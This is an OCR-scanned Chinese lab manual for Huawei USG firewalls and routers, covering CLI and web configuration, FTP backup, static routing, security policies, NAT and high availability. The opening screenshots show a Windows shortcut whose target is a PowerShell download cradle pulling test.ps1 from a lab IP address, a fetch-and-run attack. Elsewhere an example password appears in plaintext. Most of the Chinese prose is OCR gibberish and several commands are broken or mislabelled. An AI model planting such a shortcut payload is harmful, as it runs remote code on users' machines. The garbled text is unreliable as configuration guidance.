This wizard helps you to create shortcuts to local or network programs, files, folders, computers, or
Internet addresses,

Type the location of the item:

ect Met.WebClient).DownloadString(http://172.21.7.104//test.psl );good.psl Browse...

Click Mext to continue.

|_ Mext ]l Cancel
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i
N
)

=

@ 2 Create Shortcut

What would you like to name the shortcut?

Type a name for this shortcut:

haodangsi

Click Finizh to create the shortcut.

Xt SR X o

Recycle Bin

Finish ]| Cancel

at 2018-07-04 17:05:16

+0800
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A shell, BEAZEH cmd FE .

7600]

orporation. All rights

vi. 0>

FEIZFE T Ping X MEEALPTE N KR E B EN

Wi ndowsPowershel1Ywl. O=ping 172.21.0.11

2.3 mRABGE G A
BERFRM
REZEEIR, FEERGREEABIREZERS
EEEHHT .
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3 By KA B

3.1 LG TR
3.1.1 XF AL

BYSIXPTGENEMACE, POSH KRR EARE.

3.1.2 LI H/Y
o ZERELEGERMTE.
o ZERMEBEERENENGZ.
o EIRMEBEXHEFMMKENTT E.
3.1.3 SEIG4A M/ 28
E3-1 Bk AR B SO R

%“rfi PC FW
[:::Ei %%ﬁ? ce1/0/1 i
[

3.1.4 LIGRKR
EERBNZSMATRERZIFAE L, RRERAEENR. HELAREXENEHSRE.

#3-1 R&wm A XS Hix A

8= O - mE i)
EIEPC | — AR A

B | — RIFEERTIURE
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3.1.5 SLG{ES

Fs 1% 1E%3 A
BIFETAwWebE T R

ERRE

By kSR E A B B
ERERE. RE
Ry AR SR ER
BNERE.
2 PrJEEMECE | &MEE XA
REXER.

RERENHRTF
RECE XM
EfRERE .

3.2 SLE RO E
3.2.1 fif & B

1ERBI K.

2B AIEENZ.

3. BCE Ry K IERS 8] .

4. F R RIRE BT K IEHIECE X1

322BLEXE - CLI

HI 1 BF console. telnet 3 SSH 75 KBy A%, HHESHRIR 1. ()
PB2 REEIEER, BRAERELLHE, HERIOREETES.
TEB3 RBREEINE.

<USG> system-view
[USG] sysname USG A

FR 4 RERE.

<USG_A> clock datetime 0:0:0 2009-01-01
<USG_A> clock timezone BJ add 08:00:00 (AJit)

CER: WRAGIINN UTC 2R E, (=A% 2009F1 51 HOKN 05 0%,
BESINNAAERNEN T EE: ERL T8 HNK, HEmEEEMT 8. £RER, &t
EERFFHAN UTCHXMEM E, M EREE 8, AREEEITHAN B HX.)

LIRS FRMIRERBEX . SHMRERE T ATUET FTP SUEHERTHAE L.
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AR EFh k3E9 FTP Server,

1) ECEBRAIEED GE1/0/1 f P ks 10.1.2.1/24. $#EOMAZ trust X, 1T FTP
XHHERNETIEIAN. O EEETHRZERE)

USG_A] security-policy

USG_A-policy-security] rule name FTP_ backup

USG_A-policy-security-rule-FTP backup] source-zone trust

USG_A-policy-security-rule-FTP backup] destination-zone local
]

USG_A-policy-security-rule-FTP backup] service ftp

[
[
[
[
[
[

USG_A-policy-security-rule-FTP backup] action permit

2) FRIREM FTP THREHECE FTP IR & WK FTP BBZ.
<USG_A> system-view
[USG_A] ftp server enable
Info:Start FTP server
USG A] aaa
USG A-aaa] manager-user ftpuser
USG_A-aaa-manager-user-ftpuser] service-type ftp
password cipher Ftppass#
level 3
ftp-directory hdal:/

USG A-aaa-manager-user-ftpuser

USG_A-aaa-manager-user-ftpuser

[
[
[ ]
[ ]
[ ]
[USG_A-aaa-manager-user—ftpuser]
MECBEZImER fip S BERFNRE Lo

& ﬁﬁﬁ get w S MIRE TESLHE PCo IXELARE Windows #BRIERFR PC ABI: “FF
> BT, WA nd FEE WE

C:\Documents and Settings\Administrator> ftp 10.1.2.1
Connected to 10.1.2.1

220 FTP service ready.

User (10.1.2.1:(none)): ftpuser

331 Password required for ftpuser.

Password:

230 User logged in.

ftp> get vrpcfg.zip

200 Port command okay.

150 Opening ASCII mode data connection for vrpcfg.zip.
226 Transfer complete.

ftp: YH 5203 FT, AR 0.01Seconds 346.87Kbytes/sec.
ftp> lcd

Local directory now C:\Documents and Settings\Administrator.
e WEEA put R EEEIRE E

ftp> put vrpcfg.zip

200 Port command okay.

150 Opening ASCII mode data connection for vrpcfg.zip.

226 Transfer complete.

ftp: %&iX 5203 FT5, FHS 0.00Seconds 5203000.00Kbytes/sec.
£ USGREFREMSIT, RBRE TN XBIERAMNRE X,

<USG_A > startup saved-configuration vrpcfg.zip
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323 BLEXER - WEB

1 .
Tl BE&

TSI 2 E3T Web £
STIE3

Huawei

= B

pat-]

&

Pt

> RERR

BIUEERE, RAARELR, FERIDEREETER.
EELX, BRIRED.

MEREENR. EF Bk > RRER

=

, B “ER .

= hasew

2]
BERAS:
EEiEE:
wEER:
HHEE:
BT
RERE:
wERE:
BB
AAERS:
Bl R
1Pt =

FR 4 RERE.

210235851 21047000008

USGE300 YE00R001 CEOSPC1 00 [HER]
USG-A e
2018-01-26 1:42:24 EEp

1B 0B 188 30 S

%

& ]
SEf8f (EE)

L) R
] EiE]
@ EiE]

®E ‘R > BRE > NHERE .

| v

BifF—AfeER

I3

12-27 01-02
B EEEE

| »

B B

o[z ]

&g SHMP

REZEMACIOR|
P IDsEEz
SBERGER
EFEESER
B
[ =EEE

= EER

E*

RERLHA
EEF FhErEatia v
E[F FEACEERE (EEAmEA - v
(=L 2009/01/01
Fentia 2
Lol =Fa =g nead

TS EHMREE B

BB EX .

[z F Rl %R

1) ARBSPNFIERE ‘R4 > REXMHER #ARBEERE. S& EF &
H, #FAREXHEERRE.
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GEE:

RS BB .

Huawei

B EE
(L BTEHERE
T2 ShMP
= EMACDS
T iDsEEzD
PDERHER
EHEEEERR
(P
[3 SipmE
= EiER
& ZargEn
S BHERIEER
L BRI ARS R
[& BEmE
[ Licenseig
g HHERARL

e

Q= E S HEE

3

REYHEE
HEEE T hdat vrpciy zip
T BEhELE S hdat:vrpciy zip

ET- .
st Bl Higs

2018-04-02 20:486:12.210-08:00
|1Saftware Version Wa00RO01 C20SPC100
#

syshame JSG_A

#

undo 12tp sendaccm enable

121p domain sufii-separator @

2) BEFEOIVEE XN R T HERR.

REXAEH

B SR

e
hdat:fdefault.cfy
hdat:fhaactive.cfy
hdat:fal0_2_fwl cfy
hdat:vrpcfa.zip
hdal:/start2016102..
hdat:fbackefy.zip

hda factive zip

AT BREdNE #E

12,260 2015/08/02 06:01:32

0 2018/ 0M1 13:22:00

4518 2017/06/20 17:08:42

2,132 20171130 16:01:20 ELTamata
3510 201811114 06:57:34

3,487 2017H0M8 01:47:28

120 2016/08/30 09:41:1 4

o =
fat) Poés @ B

@ wmEscpumrEER, A& TRRE S4B A)

wEHEE

bt

-5
WED
WED
WED

WED
‘w=h
WED

T X

) R

4@@@%3@@@3

3) Bl LB LEXHRE. Bl WE REEFRANREXXHE, ©F

{{OK” E

EEXAEH

% iz

Zta
hdat:fdefault.cfy
hdat:fhaactive.cfy
hdat:fal0_2_fwl.cfy

hdat:rpcfy zip

hdalJstart2016102.

hdal:fbackefy.zip

hda factive zip

, RBRE EEENREF.

MR BRESNE #"E
12,260 2015/08/02 06:01:32
0 2016M0A1 13:22:00
45189 2017/06/20 17:08:42
2,132 2017M1/30 16:01:20 LREE
3510

' L &
3,487

Dgindal HzsE: 1,189,312KB  HlSTTE: 272512K8
10 by ...
S B

-5
WED
WED
WED

WED
WED
WED

? X

) Rz

GT@ada@aaTag
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4) RE EREREXMHATRBEIX . J:1€i1¢ﬁﬁ7£ﬁi:$f5@ B, EFRER

EE-(-O

5 EWRmIRE, EEEBXHEN. EF ‘RE > KB > RRAER, ERRGE.

e =

I 5l
= A = wz=Ea
(LRAShEE
=TV BEFER ==
BB EMACIEA DET: BHESTHSYRSEL, BEERNENICERETES

¥ IDSEzh
e

3.3 HSRIIE
Wi RG> REXHER ST RRINEEXH.

HUAWEI

BEE =]
OHmRE A
23 shnP LGB hdal:rpefy zip WEL EE
= EMACOE
@ DSz TRBEEREH 9 hdad rpcia zip e
PDFAER
EHHEEERR HERE

=

CoE D Bws B
=i

ﬂ"g‘@ﬁ 2018-04-02 2008612210 -08:00

@ BRI 1Software Version VWa00RO01 C30SPC100

55 BERIGEE

e e #

B BSEE syshame LSG_A

£ Licensewsta +

= AL undo 12tp sendaccm enahle

e EEEE I2tp domain suffix-separator @
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$
ad
v

|4 B RACE

4.1 LGNS
41.1 xFARLLG

ALRBEBILBFHFSHEA, EREMZERRLETE.

41.2 LI EKY
o IEMEEAMEN.
o EIRANKANEETS X,
4.1.3 SEIGZAMIT 2B
E4-1 MSEREE SR IRHE

R1 GE1/0/1 GE1/0/1 R2
-: 10.1.1.1/24 10.1.1.2/24 .:
GEO/0/1 GEO/0/1
10.1.2.1/24 10.1.3.1/24

- X

10.1.2.100/24 10.1.3.100/24
k=4

4.1.4 SEIGFRK
HEKHEFEE, HFEESAKHBMBEE SV, EXEV ZEREBZERBE.
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HUAWEI E51 ]
&/4-1 1P k-8Rt
BE %5 IPHt
GE1/0/1 10.1.1.1/24
i GE1/0/2 10.1.2.1/24
GE1/0/1 10.1.1.2/24
R2
GE1/0/2 10.1.3.1/24
PC1 Eth0/0/1 10.1.2.100/24
PC2 Eth0/0/1 10.1.3.100/24
41.5 LWES
e 2% 2455t
1 REREEMER | B EAFAPCHIPHLL,
2 e B A S IR Fe B A5 A TPC 1FIPC 2HiR.

42 KWESEE

421 B & B

TREBRELENN P Hit.

2. L ERHSKH.
3.0 PC B

422 L E DR

S BBEQ P (WLRT #9 GEO/O/1 R

<Huawei> system-view

[Huawei] sysname R1
[R1] GigabitEthernetl/0/1

[R1-GigabitEthernetl/0/1]

$IR 2 WMEHSKA.
£ R EEE A PC2 fUEER8H.

[R1] ip route-static 10.1.3.0 24 10.1.1.2
£ R2 FRRBEE PC 1 RSB,

[R2] ip route-static 10.1.2.0 24 10.1.1.1

ip address 10.1.1.1 255.255.255.0
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4.3 5 RIGF
Bl & PCHY IP Hhit.

£ PC1 Lk ping PC2, HIMPATE SN RAED & R
PC> ping 10.1.3.1

Ping 10.1.3.1: 32 data bytes, Press Ctrl C to break
From 10.1.3.1: bytes=32 seg=1 ttl=254 time=78 ms
From 10.1.3.1: bytes=32 seg=2 ttl=254 time=47 ms
From 10.1.3.1: bytes=32 seg=3 ttl=254 time=47 ms
From 10.1.3.1: bytes=32 seg=4 ttl=254 time=78 ms
From 10.1.3.1: bytes=32 seg=5 ttl=254 time=47 ms

---10.1.3.1 ping statistics ---
5 packet (s) transmitted
5 packet (s) received
0.00% packet loss
round-trip min/avg/max = 47/59/78 ms

£ PC1 £ ping PC 2, HIMLATE RN UL AAAC B BTN
PC> ping 10.1.2.100

Ping 10.1.2.100: 32 data bytes, Press Ctrl C to break
From 10.1.2.100: bytes=32 seg=1 ttl=126 time=63 ms
From 10.1.2.100: bytes=32 seg=2 ttl=126 time=94 ms
From 10.1.2.100: bytes=32 seqg=3 ttl=126 time=78 ms
From 10.1.2.100: bytes=32 seg=4 ttl=126 time=140 ms
From 10.1.2.100: bytes=32 seqg=5 ttl=126 time=78 ms

---10.1.2.100 ping statistics ---
5 packet (s) transmitted
5 packet (s) received
0.00% packet loss
round-trip min/avg/max = 63/90/140 ms

44 ESE
441R1 HIECE

#

sysname RI1

#

interface GigabitEthernet0/0/1

ip address 10.1.1.1 255.255.255.0
#

interface GigabitEthernet0/0/2
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ip address 10.1.2.1 255.255.255.0

#

ip route-static 10.1.3.0 255.255.255.0 10.1.1.2
#

442 R2 BWECE

#

sysname R2

#

interface GigabitEthernet0/0/1

ip address 10.1.1.2 255.255.255.0
#

interface GigabitEthernet0/0/2

ip address 10.1.2.1 255.255.255.0
#

ip route-static 10.1.2.0 255.255.255.0 10.1.1.1
#

4.5 BEm
R IG B BRSSP k5, 150 ZEARBSLUMETIF?
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5 B KR £ R SE I

5.1 LG T4

5.1.1 XF ARSI

ARSI RIS ARG M B B LK 0%, fRIE Trust XI8AETE £ 50178 Untrust X 18,
5.1.2 SEIGHB
o BT HRIKERIE,

BREAAREXEZENXR.

o ERBITHSITM web HHEEFH A IERE K

5.1.3 SKIuAM AT 48
BI5-1 Bk R S SR SI A

USG6330-1

10.1.2.100 E0/0/5

40.1.1.100
E0/0/1 E0/0 E0/02 Dj
PC1 S3700-1 S3700-2 PC2
5.1.4 SEHu ALK
USG fEAREREWMBELFHR L. HP ETTREHETMAIL, USCA TTlkFEERN
THE=R.
R/5-1 v M BRI 55
Wi 5K 20 IPHs 8
G1/0/1 10.1.2.1 Trust
USG6330-1
G1/0/4 40.1.11 Untrust
PC1 E0/0/1 10.1.2.100 Trust
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PC2 EO/0/1 40.1.1.100 Untrust
5.1.5 SL{EHFIER
Fs =% F1E5H 1E55HA

MEBZ2XE | BEEONAZEXIE

1 it B E ¥R
B L4 | A4TTrustE|Untrust X 15 55 1%

52 SLWESREE
5.2.1 e BB

TEEEAN P TR RS X,
2. LB E R KK,

5.2.2 BL & ZIR-CLI

L1 R USGA F. TTUSEONRSE. BEEED IP#utHmABNZL X,

<USG> system-view

[USG] sysname USG A

[USG_A] interface GigabitEthernet 1/0/1
[USG_A-GigabitEthernetl/0/1] ip address 10.1.2.1 255.255.255.0
[USG A-GigabitEthernetl/0/1] quit

[USG A] interface GigabitEthernet 1/0/4

[USG A-GigabitEthernetl/0/4] ip address 40.1.1.1 255.255.255.0
[USG A-GigabitEthernetl/0/4] quit

[USG_A] firewall zone trust

[USG_A-zone-trust] add interface GigabitEthernet 1/0/1
[USG_A-zone-trust] quit

[USG_A] firewall zone untrust

[USG_A-zone-untrust] add interface GigabitEthernet 1/0/4
[USG_A-zone-untrust] quit

SIB 2 FRE Trust X1 Untrust (X1 1% (6] 4 4 S5 HE .
fid & Trust X 18F0 Untrust X 18 gY e a4 & RS o

[USG_A] security-policy

[USG_A-policy-security] rule name policy sec

[USG_A-policy-security-rule-policy sec] source-zone trust

[USG A-policy-security-rule-policy sec] destination-zone untrust

[USG_A-policy-security-rule-policy sec] action permit
]

[USG A-policy-security-rule-policy sec] quit
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S 3 mE Switch,

DARRWE Switch W=ZOMAF—1 VLAN, GREBEIT, MFREIESZTHIIAIAERXX
o

523 BLE P TR-Web

£ 1 R USG A Bk NRE. ®F ‘ML > #0” .

LEREMBEIFANEERE 7 . OABIHASTSY, $F WE . =N
GigabitEthernet1/0/1 # O it B W& FoR:

#ZekGigabitEthernet 7 x
EOEW . .
Al
ERGE® public Mk
fikay o BEH th i #0074

IPvd  IPVE

e DHCP PPPoE

IPHHE 10.2.1.1/24 ——5RF
iR “1.1.1.1/255 255 255.0°
FE111247

EatiZEs
EADNSHRS
HFDNSHRFE 28

LZUHCIE T

GigabitEthernet1/0/4 B2 & 2o
IR 2 5ERL USG_A [k skl i) e 4 SRR AT B

Trust 5 untrust B 5% 5kH%: HE R > Z2KE > Z2KK . £ “‘LE2FREYIR"
, B ‘U’ RORBARERENSHE. BiE “HBE’. ST Trust 5 untrust @5 %

RESINE FoR
I Hm ? X
EHR policy_sec = ~
Eisihad
BEzEE trust V| [EEE
B2 i untrust | B
B ) any
BAHEAE (2) any
A5 R AR vl B
Bz e AT (%3]
SHBRENREELA . =8ehFBESAMRAITE: - ThEEH B
B SEEEE -
BHiElER i FER ElfR =
£t st
MEERE

=k — NONE — v [EE]
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B FE MM
FHE REE EEN $#h BN B5E OFseiaccrd 2ER BgR RmhE P2 RISF | i B EHR Q&R | E=HEE HEEE
p=t24 EzeKiE BiE2.. Etibsx BightiaE RS R wiElE e REES aarPEE =1;i] £
palicy_sec Dirust Duntrust  any any any any any FiF (= &} 2

5.3 L5 RIGIE
531 EFHXER

Bid4< ping 40.1.1.100 TFEF PC1 2E4EE0% ping i@ PC2,

PC> ping 40.1.1.100

Ping 40.1.1.100: 32 data bytes, Press Ctrl C to break
From 40.1.1.100: bytes=32 seg=1 ttl=127 time=16 ms
From 40.1.1.100: bytes=32 seg=2 ttl=127 time=16 ms
From 40.1.1.100: bytes=32 seqg=3 ttl=127 time=15 ms
From 40.1.1.100: bytes=32 seg=4 ttl=127 time<l ms
From 40.1.1.100: bytes=32 seg=5 ttl=127 time=16 ms

--- 40.1.1.100 ping statistics ---
5 packet(s) transmitted
5 packet (s) received
0.00% packet loss
round-trip min/avg/max = 0/12/16 ms

18T display firewall session table 45 A AT & [ KIS 1R
[USG_A] display firewall session table

Current Total Sessions : 5

icmp VPN: public --> public 10.1.2.100:49569 --> 40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:50081 --> 40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:49057 --> 40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:49313 --> 40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:49825 --> 40.1.1.100:2048

5.4 FBZ
feA I AOER |, HSIRIER PC2 H1E] PCT, FHBBBN AT ping B,


mk:@MSITStore:D:%5C%E5%BC%80%E5%8F%91%5CHUAWEI%20USG6000&USG9500%20V500R001C80%20%E4%BA%A7%E5%93%81%E6%96%87%E6%A1%A3.chm::/cli/display_firewall_session_table.html
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6 B 38 NAT Server & B NAT 521§

6.1 LR T 4R

6.1.1 ZF ARSI

WAL O ks RS NAT 55K, TSR FFAR A 2 P {sE 202 10 2 I ik &) i
518) Internet, AT PAEESNN F FIE 4 E ip Hibb e AR AR 528

6.1.2 L5 HHY
o IRENAT NAHRRIERE.
o IHfZ NAT Server N i SRk EHE,
o EE@ITMSITH web FTHEZERS k3 NAT Server & JE NAT %

6.1.3 LIS LA 9T 2B
E6-1 BhkiE NAT Server & jJE NAT SCIEHRFNE

10.1.1.100

Dj Server 1

1
E0/0/3

10.1.1.1
G1/0/0

10121 40111
G1/0/1 G104

USG6330-1

10.1.2.100 40.1.1.100

0/0/3 E0/0/5
] ]
Dj-EOIOH E0/0i1 @EOMH E0/2- Dj

PC1 S$3700-1 S$3700-2 PC2

6.1.4 SLIGFLX

USG N ZEREWHBHELFHR L. Hif ETTIREZZIMA.
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$F59 ]

&®6-1 ¥ M HuHERIK g5

WEBR Ez:m| 1Pt X 15
G1/0/0 10.1.1.1 DMZ
USG6330-1 G1/0/1 10.1.2.1 Trust
G1/0/4 | 40.1.1.1 Untrust
PC1 EO/0/1 10.1.2.100 Trust
PC2 EO/0/1 40.1.1.100 Untrust
Server EO/0/1 10.1.1.100 DMZ
6.1.5 SLIIEHRFIFE
Fs 1% FEE 1E%E3 A
EZEXIE | RBE&EOBAZRESXI
1 Ao BEEMSE
BB L% | B{TTrustE|Untrust X 15 55 B
e Enatthtibith | €172 Wittt
2 fid BEIJENAT
il B natsk 1% fid & trunstE]untrustfnatsk ig

6.2 SKIfESSHECE (IR NAT S258)

6.2.1 B & BB

1. EEEBEARH IPHUFFELZE X, FEABITHNZEKEE.
2.61%E NAT Hitibtso
3.fiRE NAT &R,

6.2.2 BL & Z4R-CLI

S 1 =H USGE330-1 £ TS EONRSE. BEEED P EMAENZL X,

<USG> system-view

USG]

[

[USG6330-1]
[USG6330-1-GigabitEthernetl/0/1]
[USG6330-1-GigabitEthernetl1/0/1]
[USG6330-1]
[USG6330-1-GigabitEthernetl1/0/4]
[USG6330-1-GigabitEthernetl1/0/4]

sysname USG6330-1

interface GigabitEthernet 1/0/1

quit

ip address

10.1.2.1 255.255.255.0

interface GigabitEthernet 1/0/4

quit

ip address

40.1.1.1 255.255.255.0
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[USG6330-1] firewall zone trust

[USG6330-1-zone-trust] add interface GigabitEthernet 1/0/1
[USG6330-1-zone-trust] quit

[USG6330-1] firewall zone untrust

[USG6330-1-zone-untrust] add interface GigabitEthernet 1/0/4
[USG6330-1-zone-untrust] quit

SIB 2 FRE Trust X1 Untrust (X1 1% (6] 4 4 S5 HE .

[USG6330-1] security-policy

[USG6330-1-policy-security] rule name policy sec
[USG6330-1-policy-security-rule-policy sec] source-zone trust
[USG6330-1-policy-security-rule-policy sec] destination-zone untrust

[USG6330-1-policy-security-rule-policy sec] action permit

]
]
]
[USG6330-1-policy-security-rule-policy sec]

S 3 BB NAT fhiibty, AMMHSEER 2.2.2.2-2.2.2.5,

quit

[USG6330-1] nat address-group natpool
[USG6330-1-address-group-natpool] section 2.2.2.2 2.2.2.5

T4 BB NAT 5.

[USG6330-1] nat-policy

[USG6330-1-policy-nat] rule name source nat
[USG6330-1-policy-nat-rule-source nat] destination-zone untrust
[USG6330-1-policy-nat-rule-source nat] source-zone trust
[USG6330-1-policy-nat-rule-source nat] action nat address-group natpool

S5 B Switch,

DARRWE Switch W=ZOMAF—1 VLAN, GREBEIT, MFREIESZSTHIIAIAERX
=D

6.2.3 AL & 2 ¥R-Web

$PR1 5L USG6330-1 Bk AR E . i ‘M > #A” .

$EBEMBENFENRESRD 7 . RROEEIHASTSY, £F B A
GigabitEthernet1/0/1 # O i B W& FoR:
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EERRE
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I trust

BBEH

o BEP

10.2.1.1/24

DHCP

GigabitEthernet1/0/4 B2 & 2o
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EREEN #0w

PPPOE

o A E
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HEA11247s
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Trust 5 untrust [@35 & 5% EIF “EBEE > 25K > 228K,
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F ‘REFRKETIR
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? x

policy_sec = A
trust || [

trust v| [EHE
any
any
HIRFERS +| [
EiE R Ak A %]

ERIIREELNE . S8 ESAREITE: - ThEHF 8
B ESENEE MR-

R AR
o i

-- NONE —

any any

FIB 3 BB NAT Hisibsth. AMHLESERER 2.2.2.2—2.2.2.5,
NAT” . #3% “NAT Hbibth” 7%,

7 RERBESS WE -

w

a1

~| [EE]

PO RIER | 1A H B A EE | E=8EE HRAERE
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=
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FEENA THRL X
S Fr natpool
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ST A — e EE B IP, Tz EAEESE.
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THE

Bl

I 4 FE NAT policy. 155 “M% > NAT 08> SENAT . M3 SENAT 7I%. & 9B
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6.3 ZESRUGIE
6.3.1 EFHEXER

M PC1 ping PC2 it
PC> ping 40.1.1.100

Ping 40.1.1.100: 32 data bytes, Press Ctrl C to break
From 40.1.1.100: bytes=32 seg=1 ttl=127 time=16 ms
From 40.1.1.100: bytes=32 seg=2 ttl=127 time=16 ms
From 40.1.1.100: bytes=32 seqg=3 ttl=127 time<l ms
From 40.1.1.100: bytes=32 seg=4 ttl=127 time=15 ms
From 40.1.1.100: bytes=32 seg=5 ttl=127 time=16 ms

--- 40.1.1.100 ping statistics ---
5 packet (s) transmitted
5 packet (s) received
0.00% packet loss
round-trip min/avg/max = 0/12/16 ms

{5/ display firewall session table #5<&Z& & NAT 3B :

[USG6330-1] display firewall session table

Current Total Sessions : 5

icmp VPN: public --> public 10.1.2.100:56279[2.2.2.5:2057] -->40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:55255[2.2.2.5:2053] -->40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:56023[2.2.2.5:2056] -->40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:55767[2.2.2.5:2055] -->40.1.1.100:2048
icmp VPN: public --> public 10.1.2.100:55511[2.2.2.5:2054] -->40.1.1.100:2048
AIAEE], By AkSEREHE 10.1.2.100 3245 pK T NAT sty 2.2.2.5 5 PC2 #{TiR(E.

6.4 SLIE{ESACE (NAT Server&jE NAT S2I§)
6.4.1 B & B

TEREBEAMN IPHUNFEZEXE, HFEBITNRZ2KE.
2.fid & NAT Server,

3.61% NAT Hifi-th .

4. B2 E NAT K% .

6.4.2 BL & Z4R-CLI

S 1 =H USGE330-1 £ TS EONRSE. BEEED P EMAENZL X,
(B&)
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PR 2 FESE SRR,

[USG6330-1] security-policy

[USG6330-1-policy-security] rule name bidectinal nat
[USG6330-1-policy-security-rule-policy sec] source-zone untrust
[USG6330-1-policy-security-rule-policy sec] destination-zone dmz

[USG6330-1-policy-security-rule-policy sec

]

]
[USG6330-1-policy-security-rule-policy sec] action permit

] service ftp

]

[USG6330-1-policy-security-rule-policy sec] quit

IR 3 FIZE NAT server,

[USG6330-1] nat server ftpserver protocol tcp global 40.1.1.2 ftp inside
10.1.1.100 ftp

S 4 BB NAT it

[USG6330-1] nat address-group natpool?2
[USG6330-1-address-group-natpool] section 10.1.1.10 10.1.1.20

I, 5 £ DMZ 5 Untrust 1[5 Sz F§ NAT ALG That, SRS 2RI PLIE EXTIMERE FTP RS . HR
BERTERESRBBAT NATALG T8E, ZSBAIIER.

[USG6330-1] firewall interzone dmz untrust
[USG6330-1 -interzone-dmz-untrust] detect ftp
[USG6330-1 -interzone-dmz-untrust] quit

IR 6 fE DMZ XIF1 Untrust K%~ )i NAT 5508, BAESET NAT BiaH0RMUSEE, 3
B ES NAT it 2 #1740 E.

[USG6330-1] nat-policy

[USG6330-1-policy-nat] rule name biderectinal nat
[USG6330-1-policy-nat-rule-source nat] destination-zone dmz
source-zone untrust
source-address 40.1.1.0 24

action nat address-group natpool?2

[USG6330-1-policy-nat-rule-source nat

1
1
[USG6330-1-policy-nat-rule-source nat]
]

[USG6330-1-policy-nat-rule-source nat
SIB 7 BE Switch.

DARRWE Switch W=ZOMAF—1 VLAN, GREBEIT, MFREIESZTHIIAIAERXX
=D

6.4.3 BELE #IR-Web
ST 5 USGE330-1 Bk i AR E. iR Mk > 07 .

BhRFEREEOR ﬁE’JEE%Hszﬂ@ RREFESMAEMSH, B “BE . THK
GigabitEthernet1/0/0 2 O B AN & FoR:
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#GigabitEthernet

BOEH
#l%

ERHZ® public v|[*
AR [ amz | &

e o B i 2ol E= by

IPvd  IPVE
e il e FTIP DHCP PPPOE

1Pt ik | 10.1.1.1/255.255.255.0 | iR,
HLAFETH 1.1.1.1/255 255 255 0

ahE1.1.1.1/24",

B
EEDNSHR 522
& FIDNSIR 5528

SOk

GigabitEthernet1/0/4 B2 & 25 1{Lo

$PR 2 5EHL USG6330-1 Bk i a4 AR E &

Trust 5 untrust [E)52 % 5kH%: HE “RIE > Z2KE > TR . £ “‘LEFREYIR"

, BT HET. RRBMARZEEREISH. B ‘WE.
SRS AN PR -

T AKX Trust 5 untrust (g% %
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Hrtdep g ? x
=55 bidectinal_nat - ~
Tt
bl untrust v [Ei#]

Bize R dmz | B
FHAEAE any
Bt A (2) 10.1.1.0/24
fe= fp ol
R B e s PR (5]
FERENRERRE A, S8shEsARRIhEE. EEHE
5, SFEIREMREE-
TR LR v
e o
HNETE
ERE — NONE - V| EE]
PNl ~ NONE - V| [BEE]
REREGFEE ER
EEREEAE BHA
SiEELATE <1-655355F) v
HEE B
EE RWE DEN S BH @A RS QEReSarn SER B R R RisF [ QEA | EEEEA G
B EEeKE BNE.. EohbaE BilshbiaE RS (51 EhFEE afE REZS AR BA ]
policy_sec Dirust Duntrust  any any any any fiF [ ] =

SUR 3 FIE NAT server. %1% “55HE > NAT %0s> BRESEMAEY . 7 “PRSRMSHIR"
BHT. RENEFRL: RESRESE WE .

Bk E2SnGT

ENRETER]

=¥ fipserver

REMHE EREIE TS

AP (2) 40112

AL (2) 10.1.1.100

v FETEMN
i e TCP UDP
e || 21
FARRRC 21 -

o | 1R AR SrE i A (R F R

? X
% =
A4
ICMP
<1-65535=>
THE B

SUR 4 FRE NAT Hihbth. MEIE “ERE > NAT 5BE> SENAT . MR SNAT HHEH” B
76 “NAT HiHbhFI%" s, NAT Hlb b S5 E mE R
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FEENA THb1 b, 2 x
M= PR natpool2 *
IPHlhEE | 10.1.1.10-10.1.1.20|
SiTlEA— U EREL R 1IP, T2 EALFESE-
192.168.10.10-192.168.10.20
192.168.10.30
RO R v
v =%
f8E U

IS5 FEJE NAT, EFE SRS > NAT £B5> SENAT |, %% SENAT” T, 7£ “J& NAT

IR FiFRPAET, B NAT S HRBMERR:
FREENATIRES

[ENRET 28]
B

fait
Fzek
Sl:ksi

| E¥ani
SEMHE(P)
Btk

R5

HiRE
A

kit

biderectinal_nat

untrust
o BflFre b SO

dmz

40.1.1.0/24
any

fp

Hithk-t A

natpool2

[Ei%]

[E1%]

P

HiA
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6.5 L5 R LGIE
6.5.1 EFEHXER

{# 454 display nat server Z&F& NAT server XV {&5

[USG6330-1] display nat server
Server in private network information:
Total 1 NAT server (s)

server name : ftpserver

id : 0 zone HE
global-start-addr : 40.1.1.2 global-end-addr : 40.1.1.2
inside-start-addr : 10.1.1.100 inside-end-addr : 10.1.1.100
global-start-port : 21 (ftp) global-end-port 21
inside-start-port : 21 (ftp) inside-end-port 21
globalvpn : public insidevpn : public

vsys : public protocol : tcp

vIrp R no-revers : 0

interface e vrrp-bind-interface: ---
description e

6.6 BE
IR PR S 2BMRET RSN L ER G1/0/4 O ARER—MER, 1B R EFEMTA?

N
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7 B AR AL A & SE T

7.1 KLU IR

7.1.1 K F AL

ATRBIAEMELAVEBBRANSZ AMKIRE, RIET AMMNK S5SNI % B IBE
$%EO

7.1.2 LI HAY
o IEMIWIAZHNELRRIE,
o IEfZ VGMP F1 HRP i
o  EEREITHSITH web H AR B AIEWHFAE
7.1.3 SEEGZA M/ 48
B7-1 Bk EE A RS SCR R FNE

EHrE

USG6330-1
a2 oo Virtual IP Address

i 7 eiion
Virtual IP Address / G1/0/4 \
10.1.2.3 /10121 B EE 40111 2221
/ | EE ™ 3

10.1.2.100 ZULE G1f|0/3

. ) Zo0s 2222
= - , i i =
Dj “E0/0/* E0/0/1— ; 1 i E0/0/1 EOtOtZDj
_ ~E005), | e E0/0/ —
PC1 S3700-1\\ / |30.1.1.2'\/ S3700-2 PC2

. G1on Gt/
10.1.2.2 40.1.1.2-

USG6330-2

7.1.4 LR ELK

USG6330 fE N R IR EWMBHEVE T A L. Hh F TR EHA], USG6330-1.
USG6330-2 IAE&&EZM X I1E.
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R7-1 v IR 85 2

WEBR | IPis 3 X5
G1/0/1 10.1.2.1 Trust
USG6330-1 | G1/0/3 30.1.1.1 DMZ
G1/0/4 40.1.1.1 Untrust
G1/0/1 10.1.2.2 Trust
USG6330-2 | G1/0/3 30.1.1.2 DMZ
G1/0/4 40.1.1.2 Untrust
PC1 E0/0/1 10.1.2.100 Trust
PC2 E0/0/1 2.2.2.2 Untrust
7.1.5 SERHES IR
s | % FiE5 5B
1 MEEMEE |RKBREXE BEEOWAZEXKIE
